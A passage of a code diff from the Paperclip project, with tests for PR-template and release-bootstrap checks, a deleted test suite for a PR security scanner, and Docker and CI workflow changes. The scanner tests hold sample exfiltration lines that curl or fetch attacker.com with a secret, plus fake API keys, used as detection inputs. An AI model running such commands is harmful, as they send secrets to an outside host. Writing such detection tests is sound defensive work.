Roadmap alignment:
`;
const STACKED_BUG_LABELS = `
What happened?:
Expected behavior:
Steps to reproduce:
Paperclip version:
`;
const STACKED_ENHANCEMENT_LABELS = `
What existing behavior does this improve?
Subsystem affected
Current behavior
Proposed behavior
Reason and benefit
`;
const STACKED_DOCS_LABELS = `
Issue type
Where is the issue?
What's wrong?
Suggested fix
`;
test('fails with stacked plain feature labels and no content', () => {
assert.equal(checkLinkedIssue(STACKED_FEATURE_LABELS, 'feat: x').passed, false);
});
test('fails with stacked plain bug labels and no content', () => {
assert.equal(checkLinkedIssue(STACKED_BUG_LABELS, 'feat: x').passed, false);
});
test('fails with stacked plain enhancement labels and no content', () => {
assert.equal(checkLinkedIssue(STACKED_ENHANCEMENT_LABELS, 'feat: x').passed, false);
});
test('fails with stacked plain docs labels and no content', () => {
assert.equal(checkLinkedIssue(STACKED_DOCS_LABELS, 'feat: x').passed, false);
});
// A plain-label skeleton with real content under each label must still pass.
// The boundary fix must not reject a field that has genuine content.
const FILLED_PLAIN_FEATURE_LABELS = `
Problem or motivation:
- The gate rejects a good prose description.
Proposed solution:
- Copy the feature template labels into the PR body.
Alternatives considered:
- Lower the field threshold — rejected, it weakens the gate.
`;
test('passes with plain feature labels and real content under each', () => {
assert.equal(checkLinkedIssue(FILLED_PLAIN_FEATURE_LABELS, 'feat: inline feature').passed, true);
});
// The real .github/PULL_REQUEST_TEMPLATE.md, submitted unchanged, must fail the
// gate. Its skeleton labels have no content and its example issue links live in
// HTML comments, so neither the inline path nor the linked path may pass it.
const PR_TEMPLATE_PATH = fileURLToPath(
new URL('../../PULL_REQUEST_TEMPLATE.md', import.meta.url)
);
test('fails with the unfilled default PR template body', () => {
const body = readFileSync(PR_TEMPLATE_PATH, 'utf8');
const result = checkLinkedIssue(body, 'feat: unfilled template');
assert.equal(result.passed, false);
});
// An issue link that appears only inside an HTML comment must not satisfy the
// linked-issue check. The template ships such an example ("Fixes: #123").
test('fails when the only issue link is inside an HTML comment', () => {
const body = '<!-- Example: Fixes: #123 -->\n\nSome prose with no real link.';
assert.equal(checkLinkedIssue(body, 'feat: commented link').passed, false);
});
@@ -0,0 +1,265 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import {
addedWorkspaceDependencyNames,
checkReleaseBootstrap,
} from '../check-pr-release-bootstrap.mjs';
const MANIFEST_PATH = 'scripts/release-package-manifest.json';
function encodeManifest(entries) {
return { content: Buffer.from(JSON.stringify(entries)).toString('base64') };
}
function stubGitHub({ base = [], head = [] }) {
return async (path) => {
if (path.includes('ref=refs%2Fpull%2F')) return encodeManifest(head);
if (path.includes(`/contents/`)) return encodeManifest(base);
throw new Error(`unexpected fetch: ${path}`);
};
}
const manifestChangedFile = { filename: MANIFEST_PATH, status: 'modified' };
test('does nothing (and fetches nothing) when the manifest is untouched', async () => {
const result = await checkReleaseBootstrap(
[{ filename: 'server/src/index.ts', status: 'modified' }],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: async () => { throw new Error('should not fetch'); },
registryPackageExists: async () => { throw new Error('should not look up'); },
}
);
assert.deepEqual(result, { passed: true, informational: [] });
});
test('notices a new publishFromCi:true package that is missing from npm', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true }],
head: [
{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true },
{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true },
],
}),
registryPackageExists: async (name) => name !== '@paperclipai/brand-new',
}
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /@paperclipai\/brand-new/);
assert.match(result.informational[0], /release:bootstrap-package -- @paperclipai\/brand-new --publish/);
assert.match(result.informational[0], /No contributor action/);
});
test('stays quiet when the new package already exists on npm', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [{ dir: 'b', name: '@paperclipai/already-bootstrapped', publishFromCi: true }],
}),
registryPackageExists: async () => true,
}
);
assert.deepEqual(result.informational, []);
});
test('notices a publishFromCi flip from false to true on a missing package', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: false }],
head: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: true }],
}),
registryPackageExists: async () => false,
}
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /@paperclipai\/flipped/);
});
test('notices a publishFromCi:false package that published packages newly depend on', async () => {
const files = [
manifestChangedFile,
{
filename: 'server/package.json',
status: 'modified',
patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-kimi-local": "workspace:*",',
},
];
const result = await checkReleaseBootstrap(
files,
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [{ dir: 'b', name: '@paperclipai/adapter-kimi-local', publishFromCi: false }],
}),
registryPackageExists: async () => false,
}
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /depend on it/);
assert.match(result.informational[0], /"publishFromCi": true/);
assert.match(result.informational[0], /drop the workspace dependency/);
});
test('notices a newly added dependency on an existing unpublished package even when the manifest is untouched', async () => {
const files = [
{
filename: 'server/package.json',
status: 'modified',
patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-hermes-gateway": "workspace:*",',
},
];
const manifest = [{ dir: 'g', name: '@paperclipai/adapter-hermes-gateway', publishFromCi: false }];
const result = await checkReleaseBootstrap(
files,
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({ base: manifest, head: manifest }),
registryPackageExists: async () => false,
}
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /@paperclipai\/adapter-hermes-gateway/);
assert.match(result.informational[0], /depend on it/);
});
test('stays quiet for a publishFromCi:false package nothing depends on', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [{ dir: 'b', name: '@paperclipai/deliberately-private', publishFromCi: false }],
}),
registryPackageExists: async () => { throw new Error('should not look up'); },
}
);
assert.deepEqual(result.informational, []);
});
test('never looks up names outside the @paperclipai scope', async () => {
const lookedUp = [];
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [
{ dir: 'x', name: '@evil/probe', publishFromCi: true },
{ dir: 'y', name: 'unscoped-name', publishFromCi: true },
{ dir: 'z', name: '@paperclipai/UPPER', publishFromCi: true },
],
}),
registryPackageExists: async (name) => {
lookedUp.push(name);
return false;
},
}
);
assert.deepEqual(lookedUp, []);
assert.deepEqual(result.informational, []);
});
test('stays quiet when the registry lookup fails', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }],
}),
registryPackageExists: async () => { throw new Error('registry down'); },
}
);
assert.deepEqual(result, { passed: true, informational: [] });
});
test('treats a missing base manifest as empty (every head entry is new)', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: async (path) => {
if (path.includes('ref=refs%2Fpull%2F')) {
return encodeManifest([{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }]);
}
throw new Error('404 base manifest');
},
registryPackageExists: async () => false,
}
);
assert.equal(result.informational.length, 1);
});
test('addedWorkspaceDependencyNames reads only added lines of package.json patches', () => {
const names = addedWorkspaceDependencyNames([
{
filename: 'server/package.json',
patch: [
'@@ -1,3 +1,4 @@',
' "@paperclipai/context-line": "workspace:*",',
'- "@paperclipai/removed-dep": "workspace:*",',
'+ "@paperclipai/added-dep": "workspace:*",',
].join('\n'),
},
{ filename: 'ui/src/index.ts', patch: '+ "@paperclipai/not-a-pkg-json": "workspace:*",' },
{ filename: 'node_modules/x/package.json', patch: '+ "@paperclipai/vendored": "workspace:*",' },
]);
assert.deepEqual([...names], ['@paperclipai/added-dep']);
});
@@ -1,380 +0,0 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import {
buildAdvisoryPayload,
findExistingDraftAdvisory,
postSecurityCheckRun,
scanSecrets,
scanCITampering,
scanBuildScripts,
scanSupplyChain,
scanTestPatterns,
scanSensitivePaths,
startScriptWatchdog,
syncDraftAdvisory,
validateSensitivePaths,
} from '../check-pr-security.mjs';
import { ghFetch } from '../get-bot-token.mjs';
// ── scanSecrets ──────────────────────────────────────────────────────────────
test('scanSecrets: flags OpenAI key in added line', () => {
const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
assert.ok(scanSecrets(files).length > 0);
});
test('scanSecrets: flags AWS key in added line', () => {
const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
assert.ok(scanSecrets(files).length > 0);
});
test('scanSecrets: ignores removed lines', () => {
const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
assert.equal(scanSecrets(files).length, 0);
});
test('scanSecrets: ignores files without patch', () => {
assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
});
// ── scanCITampering ──────────────────────────────────────────────────────────
test('scanCITampering: flags workflow file changes', () => {
const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
assert.ok(scanCITampering(files).length > 0);
});
test('scanCITampering: ignores non-workflow files', () => {
const files = [{ filename: 'src/foo.ts', status: 'modified' }];
assert.equal(scanCITampering(files).length, 0);
});
test('scanCITampering: ignores removed workflow files', () => {
const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
assert.equal(scanCITampering(files).length, 0);
});
// ── scanBuildScripts ─────────────────────────────────────────────────────────
test('scanBuildScripts: flags changes to release.sh', () => {
const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
assert.ok(scanBuildScripts(files).length > 0);
});
test('scanBuildScripts: ignores non-CI scripts', () => {
const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
assert.equal(scanBuildScripts(files).length, 0);
});
// ── scanSupplyChain ──────────────────────────────────────────────────────────
test('scanSupplyChain: flags net-new packages in lockfile', () => {
const patch = `@@ -1,3 +1,4 @@
packages:
+ 'evil-package@1.0.0':
'existing-package@2.0.0':
- 'old-package@1.0.0':
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.ok(flags.length > 0);
assert.ok(flags[0].packages.includes('evil-package'));
});
test('scanSupplyChain: does not flag version-only bumps', () => {
const patch = `@@ -1,3 +1,3 @@
packages:
- 'existing-package@1.0.0':
+ 'existing-package@2.0.0':
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
assert.equal(scanSupplyChain(files).length, 0);
});
test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0:
existing-package@2.0.0:
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
});
test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
const patch = `@@ -1,2 +1,2 @@
-@scope/pkg@1.0.0(react@18.2.0):
+@scope/pkg@2.0.0(react@18.2.0):
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
assert.equal(scanSupplyChain(files).length, 0);
});
test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0(react@18.2.0):
existing-package@2.0.0:
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
});
test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
const calls = [];
const fakeFetch = async (path) => {
calls.push(path);
if (/[?&]page=1(?:&|$)/.test(path)) {
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
}
if (/[?&]page=2(?:&|$)/.test(path)) {
return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
}
return [];
};
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
assert.equal(calls.length, 2);
});
test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.equal(advisory, null);
});
test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => {
let pageCount = 0;
const fakeFetch = async () => {
pageCount += 1;
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` }));
};
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.equal(advisory, null);
assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`);
});
test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
const calls = [];
const flags = [
{ check: 'ci-tampering', file: '.github/workflows/pr.yml' },
{ check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
];
await syncDraftAdvisory(async (path, token, options) => {
calls.push({ path, token, options });
if (path.includes('/security-advisories?state=draft')) {
return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
}
return { ok: true };
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
assert.equal(calls.length, 2);
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
assert.equal(calls[1].options.method, 'PATCH');
const patchBody = JSON.parse(calls[1].options.body);
const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags);
assert.deepEqual(patchBody, expectedPatch);
assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)');
});
test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
const calls = [];
const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
await syncDraftAdvisory(async (path, token, options) => {
calls.push({ path, token, options });
if (path.includes('/security-advisories?state=draft')) {
return [];
}
return { ok: true };
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
assert.equal(calls.length, 2);
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
assert.equal(calls[1].options.method, 'POST');
assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
});
test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
const calls = [];
await postSecurityCheckRun(async (path, token, options) => {
calls.push({ path, token, options });
return { ok: true };
}, 'token', 'paperclipai/paperclip', 'deadbeef', true);
assert.equal(calls.length, 1);
assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
assert.equal(calls[0].options.method, 'POST');
assert.deepEqual(JSON.parse(calls[0].options.body), {
name: 'security-review',
head_sha: 'deadbeef',
status: 'completed',
conclusion: 'neutral',
output: {
title: 'Security Review Recommended',
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
},
});
});
test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
const seenPaths = [];
const stale = await validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'release/1.2',
async (path) => {
seenPaths.push(path);
return { ok: true };
},
);
assert.deepEqual(stale, []);
assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
assert.ok(!seenPaths.some(path => path.includes('ref=master')));
});
test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
let seen404 = false;
const stale = await validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'main',
async (path) => {
if (!seen404) {
seen404 = true;
throw new Error('GitHub API GET /contents/foo → 404: missing');
}
return { ok: true };
},
);
assert.equal(stale.length, 1);
await assert.rejects(
validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'main',
async () => {
throw new Error('GitHub API GET /contents/foo → 500: boom');
},
),
/500: boom/
);
});
// ── scanTestPatterns ─────────────────────────────────────────────────────────
test('scanTestPatterns: flags outbound fetch in test file', () => {
const files = [{
filename: 'src/foo.test.ts',
patch: `+ const res = await fetch('https://attacker.com/collect')`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
test('scanTestPatterns: flags execSync in test file', () => {
const files = [{
filename: 'src/foo.test.ts',
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
const files = [{
filename: 'src/api.ts',
patch: `+ const res = await fetch('https://api.example.com')`,
}];
assert.equal(scanTestPatterns(files).length, 0);
});
test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
const files = [{
filename: 'src/__tests__/foo.ts',
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
// ── scanSensitivePaths ───────────────────────────────────────────────────────
test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: ignores unrelated paths', () => {
const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
assert.equal(scanSensitivePaths(files).length, 0);
});
test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
assert.equal(scanSensitivePaths(files).length, 0);
});
// ── startScriptWatchdog ──────────────────────────────────────────────────────
test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => {
let exitCode = null;
const fakeExit = (code) => { exitCode = code; };
startScriptWatchdog(20, fakeExit);
await new Promise((resolve) => setTimeout(resolve, 60));
assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now');
});
test('startScriptWatchdog: cleared timer never fires', async () => {
let exitCode = null;
const fakeExit = (code) => { exitCode = code; };
const timer = startScriptWatchdog(20, fakeExit);
clearTimeout(timer);
await new Promise((resolve) => setTimeout(resolve, 60));
assert.equal(exitCode, null, 'cleared watchdog must not call exit');
});
// ── ghFetch timeout ──────────────────────────────────────────────────────────
test('ghFetch: aborts the request when the per-call timeout elapses', async () => {
const originalFetch = globalThis.fetch;
// Replace global fetch with one that respects the AbortSignal but never resolves on its own.
globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => {
init?.signal?.addEventListener('abort', () => {
const err = new Error('aborted');
err.name = 'AbortError';
reject(err);
}, { once: true });
});
try {
const start = Date.now();
await assert.rejects(
ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }),
/aborted|abort/i,
);
const elapsed = Date.now() - start;
assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`);
} finally {
globalThis.fetch = originalFetch;
}
});
+2 -13
View File
@@ -9,7 +9,6 @@ on:
permissions:
pull-requests: write
security-events: write
checks: write
contents: read
@@ -30,9 +29,9 @@ jobs:
head-ref: ${{ github.event.pull_request.head.sha }}
- name: Set up Node
uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
with:
node-version: '20'
node-version: '24'
- name: Generate commitperclip token
id: token
@@ -55,16 +54,6 @@ jobs:
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
PR_BRANCH: ${{ github.event.pull_request.head.ref }}
- name: Run security gates
run: node .github/scripts/check-pr-security.mjs
continue-on-error: true
timeout-minutes: 3
env:
GH_TOKEN: ${{ steps.token.outputs.value }}
GH_REPO: ${{ github.repository }}
PR_NUMBER: ${{ github.event.pull_request.number }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
- name: Fail if quality gates failed
if: >-
github.event.pull_request.user.login != 'dependabot[bot]' &&
+327 -8
View File
@@ -6,21 +6,125 @@ on:
- "master"
tags:
- "v*"
- "nightly/v*"
- "beta/v*"
# Release workflows push lane tags with GITHUB_TOKEN, and GitHub suppresses
# push-triggered runs for those, so release.yml dispatches this workflow at
# the new tag ref instead. The tag mapping below keys off github.ref either
# way.
workflow_dispatch:
permissions:
contents: read
packages: write
# Serialise builds per ref without killing an in-flight one: a newer push
# supersedes only the pending slot, so the image build that is already
# running always finishes and publishes.
concurrency:
group: docker-${{ github.ref }}
cancel-in-progress: false
jobs:
build-and-push:
runs-on: ubuntu-latest
timeout-minutes: 60
concurrency:
group: docker-${{ github.ref }}
cancel-in-progress: true
steps:
- name: Checkout
uses: actions/checkout@v7
with:
# Full history and tags so `git describe` below can compute the
# release version to stamp into the image.
fetch-depth: 0
# `.git` is dockerignored, so a running image cannot derive its own
# version and otherwise reports the source package.json placeholder in
# analytics and the debug panel. Compute it here from the pristine
# checkout (real CalVer drift from the nearest release tag) and pass it
# into both builds. Empty when no release tag is reachable — the server
# then keeps its existing fallbacks.
- name: Compute build version
id: build-version
run: |
set -euo pipefail
case "${GITHUB_REF}" in
refs/tags/nightly/v*)
# Lane tags carry the exact published version; stamp it verbatim
# instead of describing drift from the nearest stable tag.
version="${GITHUB_REF#refs/tags/nightly/v}"
;;
refs/tags/beta/v*)
version="${GITHUB_REF#refs/tags/beta/v}"
;;
*)
version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)"
;;
esac
echo "version=${version}" >> "$GITHUB_OUTPUT"
echo "Stamping build version: ${version:-<none>}"
# ISO week stamp for the Dockerfile's tool layer: the layer caches
# across commits and re-pulls the @latest CLI tools when the week rolls
# over, instead of on every build.
- name: Compute tool cache epoch
id: tools-epoch
run: echo "epoch=$(date -u +%G-W%V)" >> "$GITHUB_OUTPUT"
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
run_install: false
# No dependency cache here: this workflow publishes release images, and
# restoring a shared Actions cache into the build inputs would let a
# poisoned cache entry reach the published artifact.
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 24
- name: Refresh lockfile for Docker build context
run: |
set -euo pipefail
pnpm install --lockfile-only --ignore-scripts --no-frozen-lockfile
changed="$(git status --porcelain)"
if [ -z "$changed" ]; then
echo "Lockfile already matches package metadata."
exit 0
fi
if printf '%s\n' "$changed" | grep -Fvq ' pnpm-lock.yaml'; then
echo "Unexpected files changed during lockfile refresh:"
echo "$changed"
exit 1
fi
echo "Using refreshed pnpm-lock.yaml in the Docker build context."
- name: Free runner disk
run: |
set -euo pipefail
echo "Disk before cleanup:"
df -h
pnpm store prune || true
sudo apt-get clean || true
sudo rm -rf \
/usr/share/dotnet \
/usr/share/swift \
/usr/local/lib/android \
/usr/local/share/boost \
/usr/local/share/powershell \
/opt/ghc \
/opt/hostedtoolcache/CodeQL \
/opt/hostedtoolcache/PyPy \
/opt/hostedtoolcache/Ruby || true
docker system prune -af || true
echo "Disk after cleanup:"
df -h
- name: Login to GitHub Container Registry
uses: docker/login-action@v4
@@ -32,24 +136,239 @@ jobs:
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
# Deployment tooling reads these labels from the registry to verify an
# image's schema expectations against a migrator before deploying it,
# without pulling the image. The server refuses to start when the
# database is missing bundled migrations, so orchestrators need a cheap
# way to check image/migrator compatibility up front.
- name: Compute schema migration labels
id: schema
run: |
set -euo pipefail
last=$(ls packages/db/src/migrations/*.sql | sed 's|.*/||' | LC_ALL=C sort | tail -1)
count=$(ls packages/db/src/migrations/*.sql | wc -l | tr -d ' ')
echo "last=${last}" >> "$GITHUB_OUTPUT"
echo "count=${count}" >> "$GITHUB_OUTPUT"
# Lane tag mapping: master pushes publish `:canary`, nightly/v* tags
# publish `:nightly`, and only stable v* tags move `:latest` and the
# versioned tags. `:sha-<short>` is published on every build.
- name: Docker meta
id: meta
uses: docker/metadata-action@v6
with:
images: ghcr.io/${{ github.repository }}
tags: |
type=raw,value=latest,enable={{is_default_branch}}
type=semver,pattern={{version}}
type=semver,pattern={{major}}.{{minor}}
type=raw,value=canary,enable=${{ github.ref == 'refs/heads/master' }}
type=raw,value=nightly,enable=${{ startsWith(github.ref, 'refs/tags/nightly/v') }}
type=raw,value=beta,enable=${{ startsWith(github.ref, 'refs/tags/beta/v') }}
type=raw,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/v') }}
type=semver,pattern={{version}},enable=${{ startsWith(github.ref, 'refs/tags/v') }}
type=semver,pattern={{major}}.{{minor}},enable=${{ startsWith(github.ref, 'refs/tags/v') }}
type=sha
labels: |
io.github.paperclipai.schema.last-migration=${{ steps.schema.outputs.last }}
io.github.paperclipai.schema.migration-count=${{ steps.schema.outputs.count }}
- name: Build and push
uses: docker/build-push-action@v7
with:
context: .
# Pin the self-hosted image to the production stage explicitly:
# the Dockerfile now declares a later `cloud` stage, and without a
# target the default would silently become that stage.
target: production
build-args: |
PAPERCLIP_BUILD_VERSION=${{ steps.build-version.outputs.version }}
PAPERCLIP_BUILD_COMMIT=${{ github.sha }}
CLI_TOOLS_CACHE_EPOCH=${{ steps.tools-epoch.outputs.epoch }}
platforms: linux/amd64,linux/arm64
push: true
cache-from: type=gha
cache-to: type=gha,mode=max
# Registry-backed BuildKit cache instead of type=gha: the Actions
# cache is capped at 10GB per repo, and two multi-arch mode=max jobs
# evict each other, so most builds ran effectively cold. The cache
# ref lives in ghcr next to the image and is written only by this
# workflow (docker.yml runs on master/tag pushes, never on PRs).
cache-from: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache
cache-to: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache,mode=max
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
# The cloud variant carries built bundled plugins for managed deployments
# (see the `cloud` stage in the Dockerfile). It runs as its own job with no
# `needs:` on the stock publish above, so the two builds run in parallel and
# a failure or slow build in one never gates, delays, or skips the other.
# Both jobs share only the single top-level concurrency slot. Each job is a
# separate runner, so this one carries its own copy of the prep steps
# (checkout through schema labels) — the accepted cost of that isolation.
build-and-push-cloud:
runs-on: ubuntu-latest
timeout-minutes: 60
steps:
- name: Checkout
uses: actions/checkout@v7
with:
# Full history and tags so `git describe` below can compute the
# release version to stamp into the image.
fetch-depth: 0
# `.git` is dockerignored, so a running image cannot derive its own
# version and otherwise reports the source package.json placeholder in
# analytics and the debug panel. Compute it here from the pristine
# checkout (real CalVer drift from the nearest release tag) and pass it
# into the build. Empty when no release tag is reachable — the server
# then keeps its existing fallbacks.
- name: Compute build version
id: build-version
run: |
set -euo pipefail
case "${GITHUB_REF}" in
refs/tags/nightly/v*)
# Lane tags carry the exact published version; stamp it verbatim
# instead of describing drift from the nearest stable tag.
version="${GITHUB_REF#refs/tags/nightly/v}"
;;
refs/tags/beta/v*)
version="${GITHUB_REF#refs/tags/beta/v}"
;;
*)
version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)"
;;
esac
echo "version=${version}" >> "$GITHUB_OUTPUT"
echo "Stamping build version: ${version:-<none>}"
# ISO week stamp for the Dockerfile's tool layer: the layer caches
# across commits and re-pulls the @latest CLI tools when the week rolls
# over, instead of on every build.
- name: Compute tool cache epoch
id: tools-epoch
run: echo "epoch=$(date -u +%G-W%V)" >> "$GITHUB_OUTPUT"
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
run_install: false
# No dependency cache here: this workflow publishes release images, and
# restoring a shared Actions cache into the build inputs would let a
# poisoned cache entry reach the published artifact.
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 24
- name: Refresh lockfile for Docker build context
run: |
set -euo pipefail
pnpm install --lockfile-only --ignore-scripts --no-frozen-lockfile
changed="$(git status --porcelain)"
if [ -z "$changed" ]; then
echo "Lockfile already matches package metadata."
exit 0
fi
if printf '%s\n' "$changed" | grep -Fvq ' pnpm-lock.yaml'; then
echo "Unexpected files changed during lockfile refresh:"
echo "$changed"
exit 1
fi
echo "Using refreshed pnpm-lock.yaml in the Docker build context."
- name: Free runner disk
run: |
set -euo pipefail
echo "Disk before cleanup:"
df -h
pnpm store prune || true
sudo apt-get clean || true
sudo rm -rf \
/usr/share/dotnet \
/usr/share/swift \
/usr/local/lib/android \
/usr/local/share/boost \
/usr/local/share/powershell \
/opt/ghc \
/opt/hostedtoolcache/CodeQL \
/opt/hostedtoolcache/PyPy \
/opt/hostedtoolcache/Ruby || true
docker system prune -af || true
echo "Disk after cleanup:"
df -h
- name: Login to GitHub Container Registry
uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
# Deployment tooling reads these labels from the registry to verify an
